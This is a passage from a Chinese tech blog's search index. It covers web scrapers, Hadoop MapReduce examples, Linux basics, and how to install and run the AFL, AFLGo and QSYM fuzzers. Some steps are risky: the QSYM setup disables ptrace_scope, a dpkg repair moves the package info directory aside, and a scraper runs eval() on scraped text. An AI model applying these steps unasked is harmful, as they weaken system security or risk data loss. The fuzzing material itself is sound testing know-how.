http://dblab.xmu.edu.cn/blog/931-2/","categories":[{"name":"bigdata","slug":"bigdata","permalink":"http://yoursite.com/categories/bigdata/"}],"tags":[{"name":"spark","slug":"spark","permalink":"http://yoursite.com/tags/spark/"}]},{"title":"interviewMaterial","slug":"interviewMaterial","date":"2020-01-08T12:33:21.000Z","updated":"2020-01-08T12:37:18.731Z","comments":true,"path":"2020/01/08/interviewMaterial/","link":"","permalink":"http://yoursite.com/2020/01/08/interviewMaterial/","excerpt":"","text":"面试需要的知识点 大数据分布式计算框架MapReduce一个详细的技术参考文档","categories":[{"name":"interview","slug":"interview","permalink":"http://yoursite.com/categories/interview/"}],"tags":[{"name":"interview","slug":"interview","permalink":"http://yoursite.com/tags/interview/"}]},{"title":"crawler","slug":"crawler","date":"2020-01-07T12:33:11.000Z","updated":"2020-01-07T12:46:02.270Z","comments":true,"path":"2020/01/07/crawler/","link":"","permalink":"http://yoursite.com/2020/01/07/crawler/","excerpt":"爬虫的一些简单实例","text":"爬虫的一些简单实例 0x00 爬取淘宝商品和价格使用正则和request库。获取数据,对数据进行解析,然后打印输出。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647#CrowTaobaoPrice.pyimport requestsimport redef getHTMLText(url): try: r = requests.get(url, timeout=30) r.raise_for_status() r.encoding = r.apparent_encoding return r.text except: return "" def parsePage(ilt, html): try: plt = re.findall(r'\\"view_price\\"\\:\\"[\\d\\.]*\\"',html) tlt = re.findall(r'\\"raw_title\\"\\:\\".*?\\"',html) for i in range(len(plt)): price = eval(plt[i].split(':')[1]) title = eval(tlt[i].split(':')[1]) ilt.append([price , title]) except: print("")def printGoodsList(ilt): tplt = "{:4}\\t{:8}\\t{:16}" print(tplt.format("序号", "价格", "商品名称")) count = 0 for g in ilt: count = count + 1 print(tplt.format(count, g[0], g[1])) def main(): goods = '书包' depth = 3 start_url = 'https://s.taobao.com/search?q=' + goods infoList = [] for i in range(depth): try: url = start_url + '&s=' + str(44*i) html = getHTMLText(url) parsePage(infoList, html) except: continue printGoodsList(infoList) main() 0x01 静态页面的大学排名爬取只是用简单的正则和BeautifulSoup库打印输出到屏幕 1234567891011121314151617181920212223242526272829303132333435#CrawUnivRankingB.pyimport requestsfrom bs4 import BeautifulSoupimport bs4def getHTMLText(url): try: r = requests.get(url, timeout=30) r.raise_for_status() r.encoding = r.apparent_encoding return r.text except: return ""def fillUnivList(ulist, html): soup = BeautifulSoup(html, "html.parser") for tr in soup.find('tbody').children: if isinstance(tr, bs4.element.Tag): tds = tr('td') ulist.append([tds[0].string, tds[1].string, tds[3].string])def printUnivList(ulist, num): tplt = "{0:^10}\\t{1:{3}^10}\\t{2:^10}" print(tplt.format("排名","学校名称","总分",chr(12288))) for i in range(num): u=ulist[i] print(tplt.format(u[0],u[1],u[2],chr(12288))) def main(): uinfo = [] url = 'http://www.zuihaodaxue.cn/zuihaodaxuepaiming2016.html' html = getHTMLText(url) fillUnivList(uinfo, html) printUnivList(uinfo, 20) # 20 univsmain() 0x02 爬取股票数据使用正则和BeautifulSoup库结果写到文件中 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#CrawBaiduStocksA.pyimport requestsfrom bs4 import BeautifulSoupimport tracebackimport redef getHTMLText(url): try: r = requests.get(url) r.raise_for_status() r.encoding = r.apparent_encoding return r.text except: return ""def getStockList(lst, stockURL): html = getHTMLText(stockURL) soup = BeautifulSoup(html, 'html.parser') a = soup.find_all('a') for i in a: try: href = i.attrs['href'] lst.append(re.findall(r"[s][hz]\\d{6}", href)[0]) except: continuedef getStockInfo(lst, stockURL, fpath): for stock in lst: url = stockURL + stock + ".html" html = getHTMLText(url) try: if html=="": continue infoDict = {} soup = BeautifulSoup(html, 'html.parser') stockInfo = soup.find('div',attrs={'class':'stock-bets'}) name = stockInfo.find_all(attrs={'class':'bets-name'})[0] infoDict.update({'股票名称': name.text.split()[0]}) keyList = stockInfo.find_all('dt') valueList = stockInfo.find_all('dd') for i in range(len(keyList)): key = keyList[i].text val = valueList[i].text infoDict[key] = val with open(fpath, 'a', encoding='utf-8') as f: f.write( str(infoDict) + '\\n' ) except: traceback.print_exc() continuedef main(): stock_list_url = 'http://quote.eastmoney.com/stocklist.html' stock_info_url = 'https://gupiao.baidu.com/stock/' output_file = 'D:/BaiduStockInfo.txt' slist=[] getStockList(slist, stock_list_url) getStockInfo(slist, stock_info_url, output_file)main() 0x03 爬取股票数据2123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#CrawBaiduStocksB.pyimport requestsfrom bs4 import BeautifulSoupimport tracebackimport redef getHTMLText(url, code="utf-8"): try: r = requests.get(url) r.raise_for_status() r.encoding = code return r.text except: return ""def getStockList(lst, stockURL): html = getHTMLText(stockURL, "GB2312") soup = BeautifulSoup(html, 'html.parser') a = soup.find_all('a') for i in a: try: href = i.attrs['href'] lst.append(re.findall(r"[s][hz]\\d{6}", href)[0]) except: continuedef getStockInfo(lst, stockURL, fpath): count = 0 for stock in lst: url = stockURL + stock + ".html" html = getHTMLText(url) try: if html=="": continue infoDict = {} soup = BeautifulSoup(html, 'html.parser') stockInfo = soup.find('div',attrs={'class':'stock-bets'}) name = stockInfo.find_all(attrs={'class':'bets-name'})[0] infoDict.update({'股票名称': name.text.split()[0]}) keyList = stockInfo.find_all('dt') valueList = stockInfo.find_all('dd') for i in range(len(keyList)): key = keyList[i].text val = valueList[i].text infoDict[key] = val with open(fpath, 'a', encoding='utf-8') as f: f.write( str(infoDict) + '\\n' ) count = count + 1 print("\\r当前进度: {:.2f}%".format(count*100/len(lst)),end="") except: count = count + 1 print("\\r当前进度: {:.2f}%".format(count*100/len(lst)),end="") continuedef main(): stock_list_url = 'http://quote.eastmoney.com/stocklist.html' stock_info_url = 'https://gupiao.baidu.com/stock/' output_file = 'D:/BaiduStockInfo.txt' slist=[] getStockList(slist, stock_list_url) getStockInfo(slist, stock_info_url, output_file)main()","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"Python","slug":"Python","permalink":"http://yoursite.com/tags/Python/"},{"name":"beautifulSoup","slug":"beautifulSoup","permalink":"http://yoursite.com/tags/beautifulSoup/"}]},{"title":"hadoop03-InvertIndex","slug":"hadoop03-InvertIndex","date":"2020-01-07T11:56:12.000Z","updated":"2020-01-07T12:31:45.292Z","comments":true,"path":"2020/01/07/hadoop03-InvertIndex/","link":"","permalink":"http://yoursite.com/2020/01/07/hadoop03-InvertIndex/","excerpt":"hadoop应用实例:倒排索引","text":"hadoop应用实例:倒排索引 0x00问题描述先看一个具体例子,我们有三个文件,如下所示。file1.txt内容 1mapreduce is simple file2.txt内容 1mapreduce is powerful and simple file3.txt内容 1mapreduce and mapreduce 建立倒排索引之后应该是这样的。每一行第一个是一个单词,然后后面的字符是其出现在的文件及其出现的次数(表示权重)。 12345and file3.txt:1;file2.txt:1;is file2.txt:1;file1.txt:1;mapreduce file1.txt:1;file2.txt:1;file3.txt:2;powerful file2.txt:1;simple file2.txt:1;file1.txt:1; 0x01 mapReduce实现具体需要导入的包见hadoop02-wordCount map函数及其实现12345678910111213141516171819202122public static class Map extends Mapper<Object, Text, Text, Text> { private Text keyInfo = new Text(); // 存储单词和URL组合 private Text valueInfo = new Text(); // 存储词频 private FileSplit split; // 存储Split对象 // 实现map函数 @Override public void map(Object key, Text value, Context context) throws IOException, InterruptedException { // 获得<key,value>对所属的FileSplit对象 split = (FileSplit) context.getInputSplit(); StringTokenizer itr = new StringTokenizer(value.toString()); while (itr.hasMoreTokens()) { // key值由单词和文件名组成, value 值初始化为 1. 组成key-value对: // 如: (MapReduce:file1.txt, 1) String pathname=split.getPath().getName(); //获取目录名字 String thisKet = itr.nextToken() + ":"+ pathname; keyInfo.set(thisKet); valueInfo.set("1"); context.write(keyInfo, valueInfo); } } } word:fileName作为key,词频作为value输出。 combine函数及其实现123456789101112131415161718192021public static class Combine extends Reducer<Text, Text, Text, Text> { private Text info = new Text(); // 实现reduce函数, 将相同key值的value加起来 // 并将(单词:文件名, value) 转换为 (单词, 文件名:value) @Override public void reduce(Text key, Iterable<Text> values, Context context) throws IOException, InterruptedException { // 统计词频 int sum = 0; for (Text val : values){ sum += Integer.parseInt(val.toString()); } // 重新设置value值由URL和词频组成 String[] splitValue = key.toString().split(":"); String newValue = splitValue[1]+":"+ String.valueOf(sum); info.set(newValue); // 重新设置key值为单词 key.set(splitValue[0]); context.write(key, info); } } 统计词频,并且将(key,value)转换。 reduce 函数及其实现12345678910111213public static class Reduce extends Reducer<Text, Text, Text, Text> { private Text result = new Text(); // 实现reduce函数, 将相同单词的value聚合成一个总的value,每个value之间用`;`隔开, 最后以`;`结尾 @Override public void reduce(Text key, Iterable<Text> values, Context context) throws IOException, InterruptedException { String item= ""; for(Text value : values){ item = item + value.toString()+ ";"; } result.set(item.trim()); context.write(key, result); } } main方法及其配置12345678910111213141516171819202122232425262728293031323334public static void main(String[] args) throws Exception { // 第一个参数为 输入文件目录路径, 第二个参数为输出结果路径 Configuration conf = new Configuration(); conf.set("fs.defaultFS", "hdfs://localhost:9000"); conf.set("fs.hdfs.impl", "org.apache.hadoop.hdfs.DistributedFileSystem"); /* if (args.length != 2) { System.err.println("Usage: Inverted Index <in> <out>"); System.exit(2); }*/ Job job = new Job(conf, "Inverted Index"); job.setJarByClass(InvertIndex_origin.class); // 设置Map、Combine和Reduce处理类 job.setMapperClass(Map.class); job.setCombinerClass(Combine.class); job.setReducerClass(Reduce.class); // 设置Map输出类型 job.setMapOutputKeyClass(Text.class); job.setMapOutputValueClass(Text.class); // 设置Reduce输出类型 job.setOutputKeyClass(Text.class); job.setOutputValueClass(Text.class); // 设置输入和输出目录 String input_path = "/input"; String out_path = "/output"; FileInputFormat.addInputPath(job, new Path(input_path)); FileOutputFormat.setOutputPath(job, new Path(out_path)); System.exit(job.waitForCompletion(true) ? 0 : 1); }","categories":[{"name":"bigdata","slug":"bigdata","permalink":"http://yoursite.com/categories/bigdata/"}],"tags":[{"name":"hadoop","slug":"hadoop","permalink":"http://yoursite.com/tags/hadoop/"}]},{"title":"hadoop02-wordCount","slug":"hadoop02-wordCount","date":"2020-01-07T02:05:01.000Z","updated":"2020-01-09T02:04:59.213Z","comments":true,"path":"2020/01/07/hadoop02-wordCount/","link":"","permalink":"http://yoursite.com/2020/01/07/hadoop02-wordCount/","excerpt":"hadoop的一个应用实例:词频统计及其理论介绍","text":"hadoop的一个应用实例:词频统计及其理论介绍 0x00 实例代码一个简单介绍MapReduce技术的文档见官网提供的词频统计示例:官网词频统计 一个测试用例test.txt 1Bye GoogBye Hadoop Hello Word Hadoop Word 首先实现一个Mapper类具体需要导入的包见官方示例。这里用到的都是hadoop中重新定义的类型,保证能序列化和反序列化。对应如下: Long === LongWritableString === TextInteger === IntWritable 123456789101112131415public static class TokenizerMapper extends Mapper<Object, Text, Text, IntWritable>{ private final static IntWritable one = new IntWritable(1); private Text word = new Text(); public void map(Object key, Text value, Context context ) throws IOException, InterruptedException { StringTokenizer itr = new StringTokenizer(value.toString()); while (itr.hasMoreTokens()) { word.set(itr.nextToken()); context.write(word, one); } } } 该方法定义的输入是<Object, Text>,输出是<Text, IntWritable>。StringTokenizer是java.util包下分割字符串工具。通过write方法将结果输出到文件中去。该map输出结果如下: 12345< Bye, 1>< GoodBye, 1><Hadoop, (1,1)>< Hello, 1>< World, (1,1)> 如果设置了combiner操作job.setCombinerClass(IntSumReducer.class),则会进行合并操作。每次运行完map,会对输出按照key进行排序,把输出传递给本地combiner,进行本地聚合。可以见到,词频统计的combiner和reduce操作是一样的流程。combiner(按照配置可以知道和reduce一样),经过combiner后,map输出如下: 12345< Bye, 1>< GoodBye, 1><Hadoop, 2>< Hello, 1>< World, 2> 实现一个Reduce类经过map和combiner后,reduce收到的数据是这样的 12345<Bye, [1]><GoodBye, [1]><Hadoop, [1,1]><hello, [1]><World, [1]> 之后进行reduce操作。 123456789101112131415public static class IntSumReducer extends Reducer<Text,IntWritable,Text,IntWritable> { private IntWritable result = new IntWritable(); public void reduce(Text key, Iterable<IntWritable> values, Context context ) throws IOException, InterruptedException { int sum = 0; for (IntWritable val : values) { sum += val.get(); } result.set(sum); context.write(key, result); } } 将相同key的值进行操作,对不同map的输出进行汇总。 编写main方法12345678910111213public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "word count"); job.setJarByClass(WordCount.class); job.setMapperClass(TokenizerMapper.class); job.setCombinerClass(IntSumReducer.class); job.setReducerClass(IntSumReducer.class); job.setOutputKeyClass(Text.class); job.setOutputValueClass(IntWritable.class); FileInputFormat.addInputPath(job, new Path(args[0])); FileOutputFormat.setOutputPath(job, new Path(args[1])); System.exit(job.waitForCompletion(true) ? 0 : 1); } 这个方法使设置job的一些配置,主要涉及map类,reduce类。输出的key, value类型。设置作业的输入,输出路径。要想程序能跟运行,还需要连接hdfs系统。有两种方法,把core.xml放到资源文件下,或加入如下的代码: 12conf.set("fs.defaultFS", "hdfs://localhost:9000");conf.set("fs.hdfs.impl", "org.apache.hadoop.hdfs.DistributedFileSystem"); 0x01 一些问题Q1:为什么不用JAVA的序列化?A1:java序列化是一个重量级框架(Serializable),一个对象序列化后有许多额外的信息如校验信息,Header,继承体系)。不便在网络中高效传输,所以Hadoop开发了自己的序列化机制(Writable)。 Q2: mapreduce有哪些进程A2: 有三类实例进程: MrAppMaster: 负责过程调度及状态协调 MapTask: 负责Map阶段的数据处理流程 ReduceTask: 负责Reduce阶段的整个数据处理流程,对每一组相同的<k,v>调用一次reduce方法。 0x02 mapReduce框架原理InputFormat数据输入数据块:Block是HDFS在物理上把数据分成一块一块。数据切片:在逻辑上对输入进行分片。一个Job的map阶段并行度由客户端在提交Job时的切片数决定,每一个Split切片分配一个MapTask实例。切片是针对每一个文件单独切片。 0x03 mapReduce开发过程1. 输入数据接口:InputFormat 默认使用实现类是TextInputFormat:一次读一行文本,然后将该行的起始字节偏移量作为key,行内容(不包括换行和回车)作为value值返回。 KeyValueTextInputFormat每一行均为一条记录,被分割符分割为key,value。默认分隔符是tab(‘\\t’)。 NlineInputFormat按照指定的行数N来划分切片,每一个切片对应一个MapTask。 CombineTextInputFormat把多个小文件合并成一个切片处理,提高处理效率。 用户可以自定义InputFormat。 2. 逻辑处理接口:Mapper用户根据业务需求有选择的实现三个方法:map(),setup(),cleanup() 3. Partitioner分区 有默认实现HashPartitioner,根据key的哈希值和numReduces返回一个分区号。用户无法控制哪个key存储到那个分区。 也可以自定义分区。 4. Comparable排序用自定义对象作为key来输出是,就必须实现WritableComparable接口,重写其中的compareTo()方法。部分排序:对最终输出的每一个文件进行内部排序。全排序:对所有数据进行排序,通常只有一个Reduce。二次排序:排序条件有两个。 5. Combiner合并提高执行效率,减少IO开销 6.Reduce端分组:GroupingComparator在Reduce端进行key分组。应用于接受key为对象时,想让一个或几个字段相同的key进入同一个reduce方法。 7.逻辑处理接口根据业务需求实现三个方法:reduce(), setup(), cleanup()。 8.数据输出接口 默认实现是TextOutputFormat,将每一个kv对,向目标文件中输出一行。 SequenceFileOutputFormat输出作为后续MapReduce任务的输入。 可以自定义OutputFormat 参考文献[1] https://edu.aliyun.com/lesson_1802_15663?spm=5176.10731542.0.0.824e244b8wdsOb#_15663","categories":[{"name":"bigdata","slug":"bigdata","permalink":"http://yoursite.com/categories/bigdata/"}],"tags":[{"name":"hadoop","slug":"hadoop","permalink":"http://yoursite.com/tags/hadoop/"}]},{"title":"linux-basic","slug":"linux-basic","date":"2019-12-07T12:07:57.000Z","updated":"2020-06-05T14:21:50.566Z","comments":true,"path":"2019/12/07/linux-basic/","link":"","permalink":"http://yoursite.com/2019/12/07/linux-basic/","excerpt":"Linux入门学习linux的一些基本操作","text":"Linux入门学习linux的一些基本操作 更改主机名hostname查看主机名hostname Name临时更改vim /etc/hostname永久修改查看系统版本cat /etc/issue 0x00 文件操作cp命令功能:用于目录或者文件的复制格式:cp [options] file destination举例: 123cp a.txt b.txt 重新创建新的时间戳cp -p a.txt b.txt 不改变时间戳,所属用户cp -r a b 递归复制,用于文件夹 mv命令功能:移动和重命名文件或者目录格式:mv [option] src des举例: 12mv a ab 重命名mv a ../ 移动a到上层目录 rm命令rm -rf filename 0x01系统管理监控系统状态w命令功能:查看系统当前负载时间,系统运行时间,登陆用户数,平均负载。这里特别要注意评价负载中的第一个值:表示1分钟内的系统评价负载(单位时间内使用CPU的活动进程数)。如果小于CPU的数量就OK,否则系统有压力。 查看CPU的个数/核: cat /proc/cpuinfo vmstat功能:监控系统状态用法:不加参数不会刷新,加参数会刷新vmstat 1(1秒刷新一次),或者vmstat 1 5刷新五次解释: r:运行或者等待CPU时间片的进程数,等待非CPU资源的进程数。 swpd:切换到变换分区的内存数量(KB),free:空闲内存数(KB),buff:将写入磁盘缓冲大小的数(KB),cache:磁盘读取的缓冲大小(KB) si:变换区写入内存的大小(KB,),so:内存写入变换区的数量,值大说明内存不够 bi:从块设备中读取的数据量KB,bo:写入块设备的数据量。 in:某一个时间间隔观测到的每秒设备中断次数,cs:每秒产生上下文切换次数 us:用户所花费CPU时间百分比,sy:系统花费CPU时间百分比,id:cpu处于空闲时间段的百分比,wa:IO等待所占用CPU百分比,st:被偷走的CPU所占百分比。 top功能:显示进程所占系统资源,3s变换一次占用系统资源(CPU,内存,磁盘)最高进程放前面top -bn1非动态打印使用情况。 free功能:查看内存使用情况free -h ps查看系统所有进程ps aux和ps au暴力删掉进程:kill -9 PID进程状态:D:不能中断的进程,R:正在运行的进程,S:已经中断的进程,s:主进程,T:已经停止暂停的进程,z:僵尸进程,<:高优先级进程,l:多线程进程,+:前台运行的进程 netstat功能:查看网络连接状况,系统开发端口,路由表等信息 -r查看路由表(netstat -r) netstat -lnp该命令表示系统启用的端口netstat -lnp | head -n30上面一部分监听TCP/IP,下面监听Socket(unix开头)netstat -an 查看网络连接状况如netstat -an | grep 80可以查看web服务器连接的IP 磁盘管理查看磁盘df -h或者df -h | grep -v tmpfs 查看文件或者目录du -sh filename 0x02文本编辑这里介绍的是vi或则vim编辑器,涉及到命令模式,编辑模式 打开文件vim test.txt 打开文件定位到第一行行首vim test.txt +6打开文件并且定位于第6行vim test.txt + 打开文件并且定位于最后一行vim test.txt +/pattern 打开文件并且定位到第一次匹配到pattern的行首 移动光标h左,l右,k上,j下ctrl+B向前翻一页,ctrl+F向后翻一页,gg首行,G行尾,nG任意行(n为数字)shift+6本行行首,shift+4本行行尾 进入编辑模式i向前插入,a向后插入,I行首插入,A行尾插入,o下一行插入,O上一行插入 文本操作x向后删除一个字符,X向前删除一个字符,nx向后删除n个字符dd剪切光标所在行,ndd向后剪切n行yy复制光标所在行,nyy向后复制n行p向光标所在行下复制,P向上复制u还原上一步操作,v选定字符 命令模式:set nu显示行号,:w保存,:w!强制保存,:wq保存并推出,:q!强退,改动不生效,:set nonu不显示行号,:!cmd执行shell命令:set paste粘贴/word向光标后查询word,n向后搜索?word向光标前查询word,n向前搜索:n1,n2s/word1/word2/gn1和n2行之间查询word1并替换为word2,不加g只替换每行第一个:1,$s/word1/word2/g全文查询word1并替换为word2,不加g只替换每行第一个 0x03压缩与打包一些格式:.gz使用gzip压缩的文件,.bz2使用bizp2压缩的文件,.tar使用tar打包的文件或者目录,无压缩功能.tar.gz先tar打包,再gzip压缩,.tar.bz2先tar打包,再bzip2压缩,.tar.xz先tar打包,再xz压缩 tar格式: tar [-zjxcvfpP] filename参数说明:-z:打包同时使用gzip压缩,-j:同时使用bzip2压缩,-J:同时使用xz压缩-x:解包或者解压,-c建立一个tar包或者压缩包-v可视化,,-t查看文件,-f操作的文件举例: 1234tar -cvf a.tar a 将文件或目录a打包成a.tartar -czvf a.tar.gz a 将文件或者目录打包并使用gzip压缩tar -tf a.tar.gz 查看文件列表tar -zxvf a.tar.gz 解压 zip上面列举的三个都不支持压缩目录,该工具支持压缩目录,但是要压缩需要指定目录下的文件压缩:zip test.zip test/*zip -r test.zip test/ 一并压缩二级目录,不需要星号了解压:unzip test.zip 0x04软件安装ubuntu系统下一般使用apt-get。apt-get命令适用于deb包管理式的Linux操作系统(Debian、Ubuntu等),主要用于自动从互联网软件仓库中搜索、下载、安装、升级、卸载软件或操作系统[2]。普通安装apt-get install PackageName重新安装apt-get --reinstall install PackageName修复依赖关系apt-get -f install下载源码apt-get source PackageName删除软件包,保留配置文件apt-get remove PackageName删除软件包,同时删除配置文件apt-get purge PackageName清楚已经下载的软件包和旧安装包apt-get clean && apt-get autoclean更新安装源apt-get update列出已经安装的所有软件包dpkg -l 安装.deb格式的软件安装包dpkg -i xxxx.deb 0x05正则表达式与流式编辑工具正则基础. 匹配任意单个字符? 匹配0到1次* 匹配0到多次+ 匹配1到多次{n} 匹配n次{n,}匹配n到多次;{n,m}匹配n到m次.*匹配任意字符^行首,$行尾 \\<,\\>单词首尾边界| 连接操作符[]字符序列单字符占位 grep/egrep功能:流式文本工具,面向行编辑命令格式:grep [-cinvABC] pattern fileName说明:-c打印符合要求的行数,-i忽略大小写,-n输出符号要求的行和行号,-v输出不符合要求的行,-A number输出符合要求的行及下两行,-B number 行及上两行,-c number行及上下各两行,-e使用扩展的正则表达式。正则式+是不能再grep中使用的举例: 1234567grep -B 2 'df' test.txt 打印出test.txt中字符串df的行及上两行,也可写成-B2grep -n 'df' test.txt 打印出df所在行及行号grep -nv 'df' test.txt 打印没有df的行及行号grep '[0-9]' test.txt 过滤出数字行grep -v '^#' test.txt 过滤掉所有#开头的行grep -e '[0-9]{4} test.txt 不加-e的话就需要这样写 grep "[0-9]\\{4\\}" test.txtgrep "<ooxx>" test.txt 选出包含单词ooxx的行 0x06 一些实用技巧免密登陆设置12345cd ~ssh-keygen -t rsatouch authorized_keyscat id_rsa.pub >> authorized_keyschmod 600 authorized_keys 终端root命令颜色配置具体见参考文献[3]颜色的设置公式颜色=\\033[代码;前景;背景m不加任何颜色:PS1='\\u@\\h:\\w\\$'用户名以红色显示的命令应该是:PS1='\\[\\033[1;31;40m\\]\\u@\\h:\\w\\$' 全部非打印字符用专用的 bash 转义序列 \\[和 \\]括起来 以防止整个信息项以红色显示,修改后的PS1变量为:PS1='\\[\\033[1;31;40m\\]\\u\\[\\033[00m\\]@\\h:\\w\\$ '加一个命令行绿色的(推荐这个) 1PS1='\\[\\033[1;31;40m\\]\\u\\[\\033[00m\\]@\\h:\\[\\033[37;40m\\]\\w\\[\\033[32;40m\\]\\$ \\[\\033[32;40m\\]' 设置示例:打开~/.bashrc,在最后一行加入 1PS1='${debian_chroot:+($debian_chroot)}\\[\\033[01;35;40m\\]\\u\\[\\033[00;00;40m\\]@\\[\\033[01;35;40m\\]\\h\\[\\033[00;31;40m\\]:\\[\\033[00;00;40m\\]\\w \\[\\033[01;32;40m\\]\\$ \\[\\033[01;36;40m\\]' 保存退出,source使之生效这个颜色 参考文献[1] http://www.apelearn.com/study_v2/[2] https://blog.csdn.net/xietansheng/article/details/80044644[3] http://blog.chinaunix.net/uid-26021340-id-3481924.html","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"}]},{"title":"software-intro","slug":"software-intro","date":"2019-12-04T08:07:30.000Z","updated":"2020-04-27T12:49:46.939Z","comments":true,"path":"2019/12/04/software-intro/","link":"","permalink":"http://yoursite.com/2019/12/04/software-intro/","excerpt":"software library","text":"software library 代码阅读Understand以直观地看到项目结构和规模,灰框代表一个文件夹,蓝色方块代表了一个文件,其大小和颜色分别反映了行数和文件复杂度。 终端神器MobaXterm一个全能的终端神器,shell, vnc, sftp等功能。 压缩软件7zG7-zip 轻量级,支持zip,rar,7z,tar.gz等格式 垃圾清理软件CCleaner 文献管理EndNote 笔记印象笔记,WizNote, Notepad++,vscode 文档搜索everything 数据库管理navicat http请求postman 视频PotPlay64 任务栏透明TranslucentTB 系统监控XMeters","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"software","slug":"software","permalink":"http://yoursite.com/tags/software/"}]},{"title":"fuzzing-basic","slug":"fuzzing-basic","date":"2019-12-04T06:55:00.000Z","updated":"2020-03-18T13:26:56.586Z","comments":true,"path":"2019/12/04/fuzzing-basic/","link":"","permalink":"http://yoursite.com/2019/12/04/fuzzing-basic/","excerpt":"fuzzing介绍与afl安装","text":"fuzzing介绍与afl安装 0x00 fuzzing简单介绍fuzzing:一种通过向程序提供非预期的输入并监控输出中的异常来发现软件中的故障的方法。一般代指模糊测试,一种基于黑盒的测试技术。所谓模糊,是指测试用例是模糊的,不确定的,随机性的。Fuzzing技术本质是依靠随机函数生成随机测试用例来进行测试验证,所以是不确定的。 测试用例的产生方式 基于变异:根据已知数据样本通过变异的方法生成新的测试用例。 基于生成:根据已知的协议或接口规范进行建模,生成测试用例。 0x01 AFL一个基于变异的fuzzer。American Fuzzy Lop简称AFL。 简单介绍一个强大的Fuzzing测试工具,在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。 插桩技术是将额外的代码注入程序中以收集运行时的信息;可以分为两类, 源代码插桩(Source Code Instrumentation(SCI)):额外代码注入到程序源代码中。 二进制插桩(Binary Instrumentation(BI)):额外代码注入到二进制可执行文件中。 工作流程1) 从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage);2) 选择一些输入文件,作为初始测试集加入输入队列(queue);3) 将队列中的文件按一定的策略进行“突变”;4) 如果经过变异文件更新了覆盖范围,则将其保留添加到队列中;5) 上述过程会一直循环进行,期间触发了crash的文件会被记录下来。图片来源与文献[5] AFL组成总共三个部分组成[6]。 编译器wrapper 对开源软件编译,编译过程中插入一些AFL识别的函数用以识别探索路径,AFL的编译工具为afl-gcc/afl-g++,afl-clang等。 测试器fuzzer afl-fuzz是AFL重要的主体,用以对软件进行fuzzing。 辅助工具 afl-cmin,afl-tmin等,为提升测试的效率和成功率而服务。 安装afl-fuzz官网 环境:ubuntu16.04, afl-2.52b step1: 下载 1wget http://lcamtuf.coredump.cx/afl/releases/afl-2.52b.tgz step2: make 12345cd afl-2.52b# 安装编译环境# apt install build-essentialmakesudo make install 在命令行中输入afl-,然后使用tab建,可以看到命令提示,表示安装成功。或者afl-fuzz可以看到提示信息。安装后显示如下信息 AFL基本使用测试程序见参考文献[4] 插桩编译1afl-gcc -g -o test test.c 对于其它的编译选项,如make,makefile等编译过程详见参考文献[4]。 开始fuzzing建立一个文件夹fuzz_in,里面放入一些文本文件fuzzing命令的格式: 12afl-fuzz -i testcase_dir -o findings_dir /path/to/program […params…]afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@ 常见参数的含义: 12345678-f: 参数表示:testcase的内容会作为afl_test的stdin-m: 参数表示分配的内存空间-i: 指定测试样本的路径-o: 指定输出结果的路径/dev/null: 使错误信息不输出到屏幕-t:设置程序运行超时值,单位为 ms-M:运行主(Master) Fuzzer-S:运行从属(Slave) Fuzzer 一个示例:afl-fuzz -m 300 -i fuzz_in -o fuzz_out ./test -f 注意,要在目标程序前加上./,否则会报错误。 成功之后的界面如下: 界面分析信息的官方参考文档,或者文献[7]一些主要的信息需要注意: last new path 目标二进制文件或者命令行参数出错,那么其执行路径应该是一直不变的。 cycles done 如果变绿就说明后面即使继续fuzz,出现crash的几率也很低,可以选择在这个时候停止 uniq crashes 代表的是crash的数量 stage progress 正在测试的fuzzing策略、进度、目标的执行总次数、目标的执行速度,如低于500次每秒,那么测试时间就会变得非常漫长。如果发生了这种情况,那么我们需要进一步调整优化我们的fuzzing。 查看crash进入设定的输出文件夹,如fuzz_out/crashes。然后复制crash信息,使用命令xxd id:000000,sig:11,src:000001,op:havoc,rep:4 0x02 AFLGo安装注意事项官网安装教程几点说明:1) 对于官网步骤1:安装llvm环境请看该llvm安装教程,选择llvm6.0.0源码下载(这里有6个软件包需要下载安装)。 报错处理我安装make的时候出现如下错误此时执行下面的命令就可以可 123sudo mv /var/lib/dpkg/info/ /var/lib/dpkg/info_old/$ sudo mkdir /var/lib/dpkg/info/$ sudo apt-get update 下面这个链接展示了如下在一个真实开源软件上进行AFL fuzzingAFL挖掘ImageMagick漏洞 0x03 qysm介绍参考论文论文摘要 最近,有人提出混合模糊方法来解决模糊和协同执行的局限性。这种混合方法已经在各种综合基准测试中显示出了它的有效性,例如DARPA的网络大挑战(CGC)二进制文件,但是它仍然需要在复杂的、真实世界的软件中寻找缺陷。我们观察到,现有共扼执行器的性能瓶颈是其在小规模研究之外被采用的主要限制因素。 为了克服这一问题,我们设计了一个快速的协同执行引擎,称为QSYM,以支持混合模糊。关键思想是使用动态二进制转换将符号模拟与本机执行紧密集成,从而实现更细粒度、更快的指令级符号模拟。此外,QSYM放宽了传统concolic执行者对更好性能的严格可靠性要求,同时利用了一个更快的fuzzer进行验证,为性能优化提供了前所未有的机会,例如,优化地解决约束和修剪无兴趣的基本块。 我们的评估表明,QSYM不仅优于最先进的fuzzers(即bug,发现14×超过VUzzer LAVA-M数据集,钻地,比126年104的二进制文件),但也发现了13个未知安全漏洞在Dropbox轻子等八个实际项目,ffmpeg, OpenJPEG,那些已经被集中测试的最先进的fuzz, AFL OSS-Fuzz。 安装 有一个github开源库地址该开源库中提供了安装方法123456789101112git clone https://github.com/sslab-gatech/qsym.gitcd qsym# disable ptrace_scope for PIN$ echo 0|sudo tee /proc/sys/kernel/yama/ptrace_scope# install z3 and system deps$ ./setup.sh# install using virtual env$ virtualenv venv$ source venv/bin/activate$ pip install . 遇到了一个错误,再使用virtualenv venv命令地时候 错误原因,系统地python环境是3.5+,需要使用python2.7版本python。 解决方法:指定python,使用命令virtualenv -p /usr/bin/python 